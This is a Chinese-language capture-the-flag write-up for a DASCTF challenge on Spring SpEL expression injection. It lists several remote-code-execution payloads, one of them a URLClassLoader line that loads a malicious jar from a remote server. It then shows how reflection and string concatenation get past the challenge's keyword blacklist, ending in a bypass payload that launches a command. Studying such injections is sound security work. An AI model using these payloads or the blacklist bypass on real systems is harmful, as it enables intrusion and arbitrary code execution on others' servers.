DASCTF-Impossibleuns
前置知识:Spel表达式注入
注入点(payload):
ExpressionParser parser = new SpelExpressionParser(); //创建spel解析器
Expression exp = parser.parseExpression(payload); //解析payload为表达式
exp.getValue(); //获取表达式的值(代码执行在这一步发生)
注入相关语法
#:获取一个已定义的变量,如#number
T()引用括号内的类的静态方法,如T(Runtime).getRuntime()
由此可得注入的payload可以是:
1.利用ProcessBuilder RCE
new ProcessBuilder("cmd","/c calc").start()
2.利用Runtime RCE
T(Runtime).getRuntime().exec("calc")
3.利用ScriptEngine RCE
new javax.script.ScriptEngineManager().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('calc');")
4.利用URLClassLoader远程加载恶意类
在vps上托管恶意类,然后注入
new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://ip:prot/Exp.jar")}).loadClass("Exp").getConstructors()[0].newInstance()
WP
IndexController定义了三个路由:
看一下/ctf路由使用的处理函数:
传入post参数payload并对其进行黑名单过滤后,对其进行spel表达式解析
看一下mySecurityWaf的过滤函数发现过滤了这些:
"java.lang", "Runtime", "org.springframework", "javax.naming", "Process", "ScriptEngineManager", "+", "replace", "JavaWrapper", "System"
这里可以利用反射,在spel表达式语法中,对象.class可以获得该对象的class,并且可以直接使用对象的class方法进行forName构造类
如:
"".class.forName("java.lang.Runtime")
这样我们要用的类就变成字符串表示了,用+和concat进行拼接就能绕过黑名单
这里+被ban了,使用concat来连接字符串
"".class.forName("java.lang.Ru".concat("ntime"))
由于ScriptEngine RCE的方法中ScriptEngineManager可以直接无参new出来(即可以使用newInstance()),因此使用这个方法进行注入,全绕干净了
payload
"".class.forName("javax.script.Scrip".concat("tEngineManager")).newInstance().getEngineByName('js').eval("java.la".concat("ng.Run").concat("time.getR").concat("untime().exec('calc')"))
Comments NOTHING